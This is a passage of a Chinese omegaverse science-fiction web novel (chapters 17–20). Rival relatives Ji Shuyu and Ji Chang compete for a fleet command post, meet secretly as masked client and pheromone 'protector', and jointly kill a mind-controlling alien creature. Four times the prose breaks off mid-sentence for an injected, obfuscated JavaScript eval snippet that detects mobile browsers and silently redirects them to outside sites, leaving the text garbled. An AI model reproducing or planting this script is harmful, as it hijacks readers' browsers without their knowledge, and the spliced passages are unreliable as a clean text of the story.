这话很快引来了一片赞同:“不愧是季家的孩子,小小年纪能触碰到这个位置,不如给她试试吧,这位副舰长的功绩大家也都清楚,当初签了军令状,自身杀进叛军堆,把皇女救了出来。” 有不少反驳的声音,很不赞成她们的决定:“执行官也不差。” “是啊,不能这么草率。” 季舒虞和季尝,她们两个从来都是针锋相对。 这就算了,偏偏她们几乎永远不分胜负,这两人更像是互补,胜负分不出,可让她们辅助对方,两人必然是不愿意的。 议事厅突然陷入沉寂。 像是在等待重要人物的决定。 年长的元老们也放缓了呼吸,过了很久,黑漆漆的帘子里传来一道年迈的声音:“难分胜负吗,既然如此,那就给她们安排一点小小的阻碍吧……” “谁能活下来,这个职务就是谁的。” 季舒虞坐在安静的角落,回复着下属传来的消息,就见季尝刚从议会厅里出来。 看上去有些虚弱,但不论状态怎么样,他嘴角都带着叫季舒虞厌恶的虚伪笑意:“啊,大小姐,好巧。” 哪里巧,这人知道她竞选这一职务,也就巴巴地跟过来。 为了避免发生冲突,元老院的几位也没有让她跟季尝同时进去。 想到这人昨天的所作所为,季舒虞不是很想搭理他,但很见不得他这副表情:“元老们的问题有这么难吗,叫你脸色白成这样。” 元老们的问题很流程化,没有为难她,季高似乎是为了避嫌,没有出面,听说去见那位陛下了。 “哼,非要逞一时的口舌之快吗,不如等结果。”季尝没有多说,坐到她身边。 明明有离她很远的位置,这人偏不坐,就坐在离她很近的边上。 他身上还带着假性易感期的味道。 季舒虞毫不掩饰嫌恶:“收收味儿。” 大庭广众,就带着一身味出来见元老,季尝好像比她还没有羞耻心。 “……就是为昨天的事生气,也不该这么攻击我,”季尝有点无辜地微微低下头,示意她看过来,“喏,我贴了抑制贴。” 抑制贴的功效不比抑制针剂,但能帮他阻隔味道。 季舒虞就是觉得这人从来不对自己的身体负责,找一个易感保护人并不是什么大事,他连保护人都不愿意请,可见他心思十分缜密,很难信任别人。 这点倒也不能怪季尝。 季舒虞听说了,他每天都会面对许多场刺杀。 频率之高,他回来的不到一周时间的遭遇,大概有她半年那么多。 但一个omega对Alpha露出抑制贴,这是一个很危险的举动。 季舒虞皱着眉侧身避开一点:“你是不是太过于信任我了?” “嗯,我觉得没有谁跟大小姐一样是个狗鼻子。”季尝无所谓地垂着头,摆弄着终端,眼睫就这么低垂着。 他被刺杀二十次,现在看来都有些麻木了,整个人也蔫蔫的,原本苍白的脸色更难看了,没有比他易感期发作那晚好多少。 看起来像一株缺了水的绿植。 季舒虞看了他一眼,倒是没有反驳这句。 她从小被注射各种药剂,嗅觉听觉以及视觉被锻炼的格外敏锐。 她的确能闻到别人闻不到的气味,嗅觉比犬科动物还要灵敏。 季舒虞想要避开他:“但这不是你熏到我的理由。” “我该做的都做了,”季尝丝毫不觉得这是什么大事,“大小姐,别怪我没有提醒你,这个职务所牵扯的事不是你能处理的。” 季舒虞斜了他一眼:“轮得着你来否定?” 被她呛声,季尝掀起薄薄的眼皮看她:“啧,你还是那么令人讨厌,说话直白的噎人,怎么不温柔一点,比如你说‘谢谢小叔的提醒,我自己能处理’这样的话?” “叫你一声小叔,还真拿自己当长辈了?” 好像又聊不下去了。 季尝果断把话题拉回正轨:“我没有开玩笑,你太直接,根本不懂得迂回,是无法胜任这个职务的。” 偌大的厅里传来一声嗤笑。 太直接无法胜任,那虚伪又刻薄的呢? “别怪我没提醒你,联合舰队总指挥官这个位置,需要有舰队作战经验的,你能让人长期信赖吗,这样虚伪的人,怎么胜任? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299948|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季舒虞突然闭嘴,起身,跟他拉开很远的距离。 “……”他不明所以的看着季舒虞避瘟神一样。 就这么讨厌他吗? 季舒虞脸色不太好看,有时候听力太好也是烦恼。 她刚刚清楚听到有负责人在讨论她和季尝。 “副舰长一直在看着执行官,这叫什么,含情脉脉吗?” 有Alpha惊恐地提醒:“……别乱说,她们是叔侄啊。” “又不是亲生的,那怎样呢。”年轻omega的声音不以为意。 “一定是含情脉脉吗,我怎么觉得杀气四溢呢?” “现在执行官看过来了,而且副舰长一直在回避!”这位omega的声音显得有些兴奋。 ……直视是挑衅,回避也没准是嫌看了恶心。 季舒虞不想再听下去,生怕再听下去,这些被情情爱爱污染了大脑数据库的人会污染她的。 “……副舰长走开了?” “可能是不太习惯这么深情的注视。”Alpha也接受了他的说法,猜测着。 季舒虞忍着恶心,头也不回的离开了。 回去等消息也是一样的,她并不是那么着急。 季尝让她放弃这一职位,那是不可能的。 联合舰队总指挥官这一位置能接触太多的东西了,她能尽快摸清权利运转的机制。 对于一个从小在实验室长大的实验体来说,她的一生就该为实验室付出,至于实验室以外的世界,她的了解的空白的,但这十年来,关于财阀和皇室他也了解了许多。 只是权利核心她还触摸不到,想要改变腐烂的星际,要想清楚它基本的运转规则。 但季尝的话她也听懂了。 上流社会的弯弯绕绕太多了,过于直白可能不是什么好事。 面对季尝,她像是在照一个反面镜,她们像是两个极端。 一个不想虚与委蛇,一个圆滑刻薄恶毒。 仍旧是谁也看不上谁。 您说的都对^^(季尝):【你是不是篡改我的认知和记忆了?】 【?】 您说的都对^^(季尝):【如果是这样,那也太卑鄙了。】 季舒虞挑了挑眉。 她说季尝咬牙切齿跟平时有点不一样,原来是怀疑她在种植芯片的过程中篡改了他的记忆。 刚要关闭终端,叮叮的清脆声响传来。 是暗网的提示铃。 缺角:【明天下午老地方。】 是那个寡夫Omega发来的。 看起来需求很大。 照理来说不应该。 她的信息素浓度比平常Alpha的要浓烈很多,这个寡O能承受得住也就算了,第二天居然还要再安排一次信息素安抚。 她沉默了一下,想着明天的行程,突然到账31万星币。 缺角:【星矿和能源被你的人拿走了,明天的放在明天晚上。】 季舒虞这次回复的很快:【行。】 缺角:【这次信息素安抚的时间,安排在晚上。】 晚上吗,晚上的确是没有什么事,但孤A寡O约在废弃的星港,这样的举动,真的很像偷情。 18. 第 18 章 思绪莫名就到了这里,季舒虞很快打住。 都是这段时间季尝总有意无意给她灌输这种思想,让她往坏处去揣测别人。 那些看霸道老婆爱上我的omega好像真的在污染她的数据。 真可怕。 季舒虞清理思绪【行。】 叮叮。 A:【行。】 寡言少语,冷漠疏离的样子,像极了季舒虞。 惹人讨厌的德行。 这样的Alpha是娶不到omega和beta的。 季尝撑着下巴,百无聊赖地翻着暗网的聊天界面:“越看越像偷情呢……” 他发现了自己的不对劲。 原本打抑制针剂,一天六七针足以,现在换成Alpha的安抚信息素,不过一天的时间,他又开始渴求了。 季尝不允许自己出现这种感觉。 这算失控,他明显觉得,继续这样下去他会控制不住自己易感期的行为。 难道要被一个黑户Alpha控制吗,他决不允许。 是的,这位大名鼎鼎的A女士,很有可能是个黑户。 能逃过他信息搜索的,整个星际几乎没几人,他所知道的高层只有季舒虞有这种可能。 但季舒虞是不会无聊到给人做易感保护人的。 她像是典型的碰到omage或者beta就过敏的人,对这些人,或者是说人类,退避三舍,成天冷着脸,平等的厌恶每一个人类。 季尝轻而易举地就排除了这个最不可能的选项。 这么看来,A女士只能是个黑户。 要是因为一个黑户的信息素而丧失自我,没有什么比这更丢脸,更可怕了。 季尝早就有了应对策略。 所以在季舒虞一身黑色作战服到场的时候,他清了清嗓,用被变声器处理的声音说:“这是长期交易,索命女士。” 索命没有开口,等着他后面的话。 季尝对她的耐心还算满意,继续说:“我看到你很久没有接单,打算金盆洗手了吗,不如做我的易感保护人,只受我一人雇佣,我们也算互利互惠,怎样?” 季尝的确很会说漂亮话。 他把做他一个人的奴隶,随叫随到,召之即来挥之即去称作雇佣。 女人冰冷的声音有些低沉,同样被处理过:“不怎样。” “……”哪怕是黑暗,戴着视线阻隔器,季尝也会保持着礼貌的微笑,但他的笑很快因为这句话僵在了脸上,“我会加钱。” 这次索命有了听下去的兴致。 ……见钱眼开。 季尝猜测她大概是某个组织的头目,有一大帮人需要养,或者是个科学怪人,因为她身上的气度太像了,需要这么多星矿和能源,不是倒卖就是实验项目所需。 所以他继续加码:“每天41万星币,能源和星矿依旧。” 他所了解到的,底层人民年薪不过3~6万,作为头目,索命手上需要大量资金,但一天赚底层年薪的七倍,也是很可观了。 他有信心收服索命。 谁料,这人没有一点犹豫:“太少。” 她没有了聊下去的兴致,甚至没等季尝开口,直接就散发出了浓烈的安抚信息素,浓烈到这些几乎能溶为液体的味道,像是要在这一刻猛地注入到他的腺体里。 带着占有欲、破坏欲,冲击着他的神经。 季尝吸了一口冷气,克制着不蜷缩身子,很久,他呛咳出一口气,维持着体面。 这个混账。 突然释放这么浓烈的信息素,很容易让omega进入假性标记期,被标记的omega会逐渐依赖Alpha,甚至会无法自拔地爱上她,这是生理性的,很少有omega能不被对方信息素控制。 这个索命究竟是不是故意的。 好在声音是经过变声器,没有让索命听到他嗓音的沙哑:“加钱,给我抽一管你的信息素……” 季舒虞抱臂,闻言微微歪了歪头。 想套出她真实身份的人太多了,季尝不是第一个。 凡是会涉及到她真实身份的,季舒虞都会拒绝,她能坐到这个位置是非常谨慎的。 这个寡O明显是世家的人,不过具体是哪个分支就不得而知了,世家能接触到非常机密的医疗设备,如果他想的话,就可以通过信息素来验明她的身份。 季舒虞拒绝的干脆:“不行。” 密闭的空间里伸手不见五指,满是燃烧过后的檀香味。 在浓郁的味道下,他还能端正地坐在那里,也不是什么寻常人。 很少有人能不被信息素控制,她很欣赏这种有强大自控能力的人,但这人有心查验她的真实身份。 她没有再留下去的打算。 元老院那边很快就会给出结果,与其大晚上把时间精力放在陌生omega身上,她更想回家复盘战斗回放。 但刚转身,手就被他紧紧握住了。 寡夫戴了丝绒的手套,柔软,温热,这样的举动,像是挽留。 季舒虞脚步停顿,转头看着他:“还有什么事?” 他没有说话。 月光明亮,但她们都戴了视线阻隔器,看不清对方的模样和表情。 她的耐心告罄,抽出手来,径直离开了废弃的星港。 她径直离开,没有看那张椅子上因为高浓度安抚信息素猛烈的注射而留下的一点水痕,在月光下有些明亮。 季尝这次是带着目的回来的,会跟他合作的也不止她一个,季舒虞捏了捏眉心。 她不得不提防季尝。 但她们有时候真的很像,比如很会掩藏,不会让敌人抓住自己的把柄。 有时候对付季尝,像是对付另一个极端的自己。 “这可不是什么好事。” 她有心对付季尝,但她们被绑定了,元老院刚传来消息,过不了几天,她们会再次合作,接手新的任务。 美其名曰考验她们的能力,但季舒虞清楚,这是那群上位者发现她们两个搭配在一起更好用。 难得以后都要跟季尝绑定在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299949|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起吗,她不希望看到这种事发生。 好在,季尝跟她的想法相同。 她们虽然达成了某种共识,但很显然,并不打算永远跟这位盟友在一起。 所以在她刚有了约机场见面商量对策的打算,季尝就主动找了过来。 他还是那副有点虚弱的模样,这次穿了咖色的高领毛衣,栗色的柔软发尾落在肩头,看起来温和,像个脾气很好的病美人:“我知道上面人的意思,你不愿意跟我一起战斗,不过没关系。” “先服从安排,我会让你看清这些人内里究竟有多么腐败糜烂,等时机成熟,她们就不会再将我们安排到一起,”他放松地倚着沙发,看样子已经酿了一肚子坏水,“她们不是想看两败俱伤吗,那就让她们看看……” 季舒虞指尖叩了叩扶手:“你这幅模样很像幕后黑手,终极BOSS。” 季尝轻笑:“夸我运筹帷幄吗,过奖了,亲爱的大小姐。” 他这人就是这样,只要不是骂他,在他耳朵里会通通变成夸奖。 骂得好听也算夸奖。 季舒虞鼻腔发出轻哼,就见这人起身,凑得她很近,不顾她皱起的眉头坐在她身旁:“看,我把这些数据拷贝了过来,我猜你用得上。” 终端光幕上是高层的许多资料、秘辛。 “拷贝吗,看上去是偷来的。”季舒虞毫不客气地批评。 “话别说的这么难听,我们可是盟友,”季尝毫不在意,打开新的资料,“教皇是我的人,你应该知道的,她不会为难你的,毕竟我们还是一条船上的人。” 这次她们接到的任务很危险。 A区的异种生物肆虐,她们带星舰杀死这些异种,净化A区。 危险级别为A,属于机密。 “你跟文副官没有一个眼神的默契吧,”季尝笑看着她,“我早就说过,你我如果结盟,就没有别人什么事了。” 他说的是上次一起对付S级幼虫的事。 看起来得意极了,是病容都掩盖不住的得意,这话听起来也很狂傲。 但实际上就是如此。 她是S级的Alpha,季尝能与她匹敌。 星际没有比他还要强的omega。 “毕竟打了十年。”季舒虞不置可否。 季尝的脸色白的厉害。 他身体一直不好,但过分的能打,这就总容易让别人忽略他还是个有些病弱的Omega。 但他现在明显状态不好了,看起来随时要昏过去。 “嗯不然……”季尝像是要说什么,察觉到季舒虞的视线,他转头看向她。 “……” “……” 刚才季尝凑的近是为了恶心她,但现在柔软的嘴唇轻轻擦过她面颊的时候,她的汗毛都竖了起来。 大脑也在这一瞬宕机。 Omega的嘴唇柔软,只是轻轻地蹭到了她,若有若无的,带着一点温热的感觉。 季舒虞呼吸顿了一下:“……为了完成任务,你愿意做到这种程度?” 19. 第 19 章 这太恶心了。 正常人是不能忍受的。 为了获得她的信任,被她怜悯,季尝居然做到了这一步。 季舒虞拳头都攥紧了,忍着恶心没有揍他。 指骨都跟着绷紧发白,她被这人恶心坏了。 怎么能有这么无耻、毫无底线的人。 一向冷静自持的女人都有一瞬间开始懊恼,她刚刚怎么就让季尝坐她身边了,怎么看他的时候正好被那张刻薄的嘴蹭到。 她面无表情地起身,没有看季尝,直接离开了这个令她恶心的地方。 文青山看到她的时候,季舒虞脸色依旧冰冷,阴沉。 看起来她像是已经听说了什么。 “……长官,怎么不高兴?”文青山试探着问。 季舒虞没打算把这件恶心的事跟别人说:“没什么,教皇怎么过来了?” 她刚收到消息不久,但教皇是季尝的人,依着季尝的性格,关于教皇的事,他更倾向于亲口告诉她,不会让教皇来直接接触她的。 教皇低调,看样子不希望季尝知道她来过。 “教皇大人只说有急事见您,具体没有说明原因。”文青山把全息资料递给她。 季舒虞随意地翻看:“刚刚欲言又止,你想说什么?” “啊,您应该是听到了,”文青山整理着措辞,“嗯,您是不是没有那么讨厌执行官大人?” 这问题问的奇怪,季舒虞抬眼看她:“不是。” “那执行官大人没有那么讨厌您?” 季尝没有那么讨厌她?怎么可能。 她们从认识那天起就在作对,季尝怎么可能不讨厌她。 她们深深地厌恶着彼此,这点她深信不疑。 “怎么说起他?” “是这样的,不知道哪里传来的消息,说执行官大人喜欢您,”文青山有些冒汗,她冒着风险,艰难开口,“当然,我知道传言就是传言……” 毕竟她们可是叔侄啊,这样的话要是传到外面去,就不只是她们两个之间的事了,会涉及到整个季家,关乎到家族的荣誉。 看着季舒虞脸色有些冷,文青山连忙说:“不过长官放心,我已经封锁了这些消息,是不会再传出去的。” “到底是谁这么无聊,捏造这种事,”季舒虞收回视线,没再给她施加压力,只说,“找出来,罚他去全息竞技场提升战绩七天。” 全息竞技场,这是很多人都畏惧的地方。 这里的训练是真实的残酷,是充斥着痛苦和绝望的地方,简直求生不得求死不能。 这样的惩罚,等同于把他扔到荒郊野岭,独自跟异种对抗七天。 季尝为了恶心她,也真是豁出去了。 如果说他的目的仅仅是这样的话,那么他已经成功了。 他穿着宽松毛衣的虚弱模样还犹在眼前,纤长浓密的眼睫低低的垂着,嘴角还噙着一点笑,看起来病弱又清瘦,是个惹人怜爱的美人。 但她最清楚,这张嘴巴有多坏。 季尝的心又有多黑。 文青山点头:“您和皇室那位beta相处的如何?” 她没有避讳过这些,至于她的私事,也只有文青山知道的多:“还行。” 季昀政最开始推给她的那位omega像是一株柔弱的菟丝子,深居简出,有些温吞懦弱,肩不能扛手不能提,弱极了。 她是不会娶一个这么弱的人做先生的。 Omega也不是傻子,看出了她的不感兴趣,后来皇室就换成了一个beta来。 文青山放心地点点头:“看来长官的评价很高。” “我是这么苛刻的人吗?”季舒虞按下开启按钮,从光幕中看到教皇缓步朝她的办公区走来。 文青山耸了耸肩,为她拆开新的营养液:“很难有omega或者beta满足您的要求,于他们而言,您很苛刻了。” 这几天吃惯了季尝做的饭,营养液她是一点也喝不进去了。 教皇有些疲惫,她摘下兜帽,朝着季舒虞点点头,难得开门见山:“冒昧打扰,是我走投无路,想请你,给我一条生路。” 她知道季舒虞不喜欢虚与委蛇和那些无意义的寒暄,放下了教皇该有的架子,直截了当地恳求。 “我不想再为执行官做事,他阴险卑鄙又狡诈,用我的女儿和教皇的位置来威胁我,我受够了这样的日子,如果舰长大人愿意,我想为你做事,只要你能,救出我的女儿……” 女人说着,垂下了头。 看得出来,她已经被这件事折磨很久了,为此憔悴不堪。 教皇这个身份,就不可能有孩子。 她为了获得帮助,已经把自己最大的污点展现在季舒虞面前了。 看来教皇跟季尝的仇怨已经很深了,否则不该找到她这里来。 “只要您愿意,我愿意付出一切,哪怕是这条命……” 季舒虞:“你女儿怎么会在他手上。” “他的信息网强大的大的可怕,找到我女儿的位置,制造了一场意外,将她带去孤儿院,以此来控制我。”教皇尽量简短的概括。 “那么,教皇大人,请容我考虑你能为我带来多少好处。” “千万别这么叫我,私下叫我阿尔玛吧。”憔悴的女人面露惶恐。 为了扳倒季尝,她甚至愿意把所有的东西奉献给他的死对头。 看来季尝收买人心的方法不是每次都有效的。 他的人这不就倒戈了。 她的确是走投无路了,甚至精神已经被季尝折磨的不正常。否则不会把这样的事直白地告诉她。 想到季尝又要在她手上栽个跟头,季舒虞的心情也愉悦了一些。 在季尝看作战计划的时候,还能平心静气跟他说上两句:“怎么打算的?” “东西很重要,但不能给她们。”季尝吧嗒吧嗒地拨着火机壳子玩。 很凶险,但为了更好的完成任务,她们需要兵分两路。 这次任务队她们的合作性要求很高,但凡默契度不够,都有可能为此丧命。 她们有过很多次的合作经历,但无一例外,她们本能的认为对方不靠谱。 虽然是强劲的死对头,但在某些时候,总是对对方的人品保持怀疑。 就像当年在贵族军校上学的时候,训导员安排她与季尝一组,这人就几乎没守过规矩。 “不要让我看得到你违反军纪,小叔。”季舒虞意有所指地说。 季尝微笑着整理手套:“当然了,长官。” 她莫名就想起了那个带着丝质手套,要她从此只为他一人服务的寡夫。 季尝可能是不靠谱,但她们两个现在又达成了诡异的共生,无法真正逃离彼此。 “舰长,我们已经处理掉了十一个异种生物,它们入侵了医院,目前还在排查。”耳麦中传来第一小队的声音。 A区是个废弃星际移民站,空间很大,需要排查很久。 季舒虞戴好布满细密数据流的分析镜,独自前往大型商超。 这里看上去像是遭遇过抢劫,柜台和物品乱糟糟地堆在一起,没有水,没有电,在物质资源稀缺的星际,废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16299950|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃的移民站几乎没有支持人类生存下去的东西。 她的属下建议,将这里夷为平地,但还是被季舒虞驳回。 几乎每一步都踩在软绵又黏腻的海藻上。 明明没有水,这儿却很潮湿,还有一股腥臭味。 “大小姐,这任务太恶心了。” 是季尝的声音。 季舒虞没有理他,关闭护目镜莹亮的灯光,慢慢朝着深处一团蠕动的肉山靠近。 它的身体不断分泌出黏腻的液体,在靠近怪物的瞬间,那些久远的记忆也开始浮现。 实验室、无数的针剂、细胞分裂的声音。 像是梦魇,将她笼罩住。 高层没有给出这些怪物的信息,这只异种的能力,是精神和情绪类的。 它周身的磁场带着令人不能抗拒的能力,要人回想自己此生种种过错、悔恨,从而放弃生的希望,自愿成为它的食物。而人死前所产生的情绪,于它而言是甜美的蜜糖。 精神类的异种一般□□脆弱,只要找到弱点猛攻,就不是什么大事。 季舒虞打量着它肥硕的身躯,在它朝这边缓慢移动的时候,释放照明弹。 等离子激光炮朝着它肥硕的身躯发射,整个商超亮如白昼,但想象中的血肉飞溅并没有发生。 等离子炮能摧毁三个足球场,但这只怪物居然只是小面积灼伤。 “呜呜——哇!” 它猛然爆发出婴儿一般的哭声,刺耳又可怖。 那股精神波动更强烈了。 季舒虞强忍着不适感,一个箭步迅速冲上它的身体。 庞大的怪物像是陡坡,每一脚几乎都要陷进去,只有她跑的足够快,会在抬脚的一瞬间带出粘液和血肉。 她朝着异种头部猛攻。 她要在不被精神异种控制的前提下,用最快的速度解决掉它,而这时候叫队友才是鲁莽的行为,意志不坚定的人会很快被异种吞噬,反而是加速队友的死亡。 这将是一场耐久战。 这只精神类的怪物会自动修复身体,和别的同类不一样,它虽然是精神系,但身体并不孱弱,更像是人类研究的改良版。 “大小姐、大小姐……” 在精神海传来季尝的一声惊呼后,就彻底归于寂静。 季舒虞的头脑也开始昏沉,她意识到了不对劲,极速助跑,足尖猛地踩在异种头上,一跃上了三楼。 她闪身进了角落的库房。 说是库房,实则只有贫民衣柜那样大。 逼仄的空间里,还有另一个人的呼吸声。 是那股熟悉的,带着潮湿草木味的香气。 季舒虞扬起眉头:“你怎么躲在这?” “嘘,”季尝伸出手指,抵在她的嘴唇上,声音轻慢,“来支援你。” 这可不是什么明智的举动。 季舒虞看着他,在精神海里与他沟通:“要是你意志不坚定,只会加速我的死亡。” “为什么不坚定的不能是你?”季尝无辜地眨了眨眼。 明明是狐狸眼,他瞪得圆圆的,要伪装无辜的杏眼。 季舒虞没有再跟他争论这些。 她的指尖都在颤抖,呼吸都不通畅起来,她深深地呼吸,但抵达肺部的只有少数,腿部的伤口还在渗血,这只精神系异种,血肉居然还有腐蚀性。 她和季尝贴着彼此,挤在这个狭小的环境。 异种生物的叫声让她不愿回想起的记忆愈发清晰,季舒虞呼吸有些急促。 温热的掌心贴着她的面颊,季尝捂住了她的耳朵。 20. 第 20 章 温热柔软的手为她隔绝了异种的叫声。 那股清凉的,潮湿的,带着泥土芬芳和草木甜丝丝的气味在她鼻尖漾。 刚刚险些沉入漫长记忆长河的灵魂,被一双手轻轻托住,将她带离那些黑暗的回忆。 她看着季尝。 那双浅琥珀色的眼瞳格外明亮,泛着莹润的光泽。 他还是那副模样,嘴角带着一点微微勾起的笑。 指尖的颤抖也暂时被舒缓,那些不适也逐渐消散,季舒虞长久地凝视着他。 香气因为他的靠近变得更为明显清晰,明明异种的叫声被隔绝,但她好像还能感知到季尝的心跳声。 精神海一片静谧,没有人打破眼下这有些奇怪的平静。 那一瞬间,季舒虞甚至生出了一个念头,她觉得季尝好像没有那么坏了。 “……它畏惧强光,但光并不能拖延它太久,要找到新的破绽解决它。”季舒虞为自己止血。 季尝侧过头,透过门缝看到蠕动上楼的异种:“你小心点,别死了。” 她冷漠回应:“嗯,我不会让你如意的。” 异种的身躯太庞大,被两个楼层挤着,发出不堪重负的吱呀声。 这里随时会坍塌。 季舒虞的靴底几乎要擦出火星,侧身避开异种的攻击。 这怪物似乎是恨极了她,见她要跑,直接用庞大的肉/.身砸向她。 要是真被砸住,就算是改造过的机械人也会死,它的粘液有一定的腐蚀性,虽没有S级幼虫那么厉害,但一小时把人骨头都腐蚀掉也不是开玩笑的。 季舒虞:“朱雀!” 一只红鸟带她迅速飞至上空。 在高空上,季舒虞更能动用鸟类敏锐的视觉,找到异种的弱点。 这只肉瘤一样的异种还在用脑波传递着恐惧。 这些恐惧大多源于人们自己所经历的,所害怕的回忆。 做实验体的那段记忆不断闪回,季舒虞只觉得大脑像要被撕裂,鼻腔涌出热流,她屈指抹了一把,看到了血。 “小鱼,接着。”季尝远远抛给她高密绳索。 季舒虞当即握住铁钩,乘着朱雀一跃飞下,绕着那只笨拙的异种转了一圈又一圈。 异种成功被惹怒,它爆发出巨大的婴儿哭啼声,绕在它身上的高密绳索紧紧勒进,发出剧烈的波动,大到能将人掀倒。 “保持清醒,季尝。” 季舒虞分神在精神海里叮嘱。 或许季尝的状态比她想的要好,他语气很轻松:“小意思。” 他的身体很轻盈,像一只细燕,破开黑暗,激光电锯直直劈开异种肉馅一样的身体,腐蚀性粘液与电锯相撞,散出刺鼻的白雾和滋滋的声音。 那些汁液无可避免地落在来接他的黑蛇身上,季尝稳稳踩在蛇头上,黑蛇贪婪地舔舐了一口汁液。 “啧,好难吃,不要吃。”季尝斥责它。 对于黑蛇来说,这团恶心的东西,汁液却像跳跳糖一样刺激又美味。 季尝没有表现出什么异常,但与他擦肩而过的时候,季舒虞还是能清晰听到他过快的心跳。 只是这心跳有些不规律。 异种的耐心耗尽,变得狂暴。 它猛地朝季舒虞撞过去,就在季舒虞及时躲开时,立马调转方向朝着季尝攻去。 它是故意的。 “季尝!”季舒虞登时从朱雀背上跳下来,朝着季尝甩出弯钩,脚尖稳稳落在二楼的台面上,手腕用力,把季尝拽了上来。 咚—— 带着令人牙酸的咯吱声,季尝刚刚站的那个位置被彻底压碎,腐蚀液很快将半个商超融化。 季舒虞太阳穴突突直跳,眼前是童年记忆扭曲成的幻象,缥缈的声音不断从脑海中响起。 她紧紧搂着季尝的腰。 那股清淡的香味能为她舒缓一些精神上的疼痛。 废墟里空无一人,哪怕战斗到现在,也没有恐惧的情绪供它食用,它休眠很长时间,早就饿的没有了耐性。 异种咆哮着,想要将身躯一分为二,就在这时,看着季尝拉紧绳索落回黑蛇身上时,季舒虞也猛地拽紧,勒得它发出尖锐的叫声。 鼻血变得浓郁乌黑,眼前的景象也有些不清晰。 季舒虞稳住身形:“光。” 精神海的声音还未落,季尝的黑蛇直接将顶层破坏,白昼强烈的光线照了进来。 “呜呜、哇!” 尖锐的啼哭声让远处完成任务的星舰成员晃了神。 她们身体晃了晃,手持武器,晃晃悠悠朝这边走来。 季舒虞身前被鼻血染得黑红:“它要控制其他舰员。” “哼,”季尝嘴角还带着没有及时吞下去的血迹,他语速很快,“十秒钟杀了它,一切就还有救。” 精神操控类的能力如果超过十秒,舰员就真的丧失了理智。 这些都是跟着她杀出来的人,无不是A级的强悍女性,如果真的成了异种的傀儡,季舒虞不确定她们在消耗太多体力打败异种后,还有没有精神对付这些下属。 她们都是大好年华的Alpha,不能折在这里。 八秒。 季舒虞把它的身躯勒断。 白色的腐蚀性浆液四溅,尖锐的声音让她头脑浆糊一般,身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16299951|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些踉跄。 六秒。 季尝按下引爆器,紧紧勒着它身体的绳索猛然爆炸,灼人的热浪和碎肉朝四周扑来。 三秒。 季舒虞甩出弯钩,稳稳勾在被炸开的碎肉中,那块闪着微光的星核上。 失去星核,那摊碎肉弹动了一下,登时失去了声息。 “真棒啊,大小姐。”季尝擦了擦嘴角的血,笑着为她鼓掌。 她们没有见过这种异种,不过战斗中就有了推测,这极大可能是实验的失败品。 要她与季尝合力销毁研究失败的异种。 随着他鼓掌的这啪啪啪三声脆响,舰员也醒了差不多。 朱雀吐出火烧了异种的残骸,发出刺鼻的焦味,那些舰员还有些没有缓过来:“怎么回事,怎么走到了这里?” “大人,您已经把BOSS消灭了?” “好像还没有过多长时间,怎么这么快。” 她们摩拳擦掌,等着投身真正的战斗,结果还没来得及加入,BOSS就已经被焚烧了。 这,结束得也太快了。 一群女人面面相觑,后知后觉刚刚发生了什么——差一点,只差两三秒就死了。 季尝撑着身子,等舰员走光,才看着季舒虞的背影:“大小姐,刚刚怎么大发慈悲救我?” “不是一根绳上的蚂蚱吗,”季舒虞一点也没犹豫,“我更想亲手打败你。” 如果不能亲手打败季尝,那么她就不会给季尝留下任何死的机会。 季尝一愣,嗤笑一声:“……意料之中。” 耳麦里同时传来高层的安排。 “副舰长和执行官表现同样出色,难分伯仲,但这个位置总要选出最能镇场的人,毕竟真正的领袖,硬抗扛得住考验。” 季舒虞平静地看着季尝,见他眉头扬了扬。 她轻笑一声:“没憋好屁。” 季尝失然,摇头:“你居然也会吐槽上头。” 果不其然,耳麦里的老头清了清嗓:“你们两个别留手了,赢到最后的人才有资格站上来,这不是命令,年轻人,做个了断吧,这是给这个位置最好的交代。” 这个位置能接触到家族机密,内部运转机制,这点很重要。 两人的视线从半空相撞,像是锋利的冰刃相抵,没有声响,但无声的压迫蔓延开来。 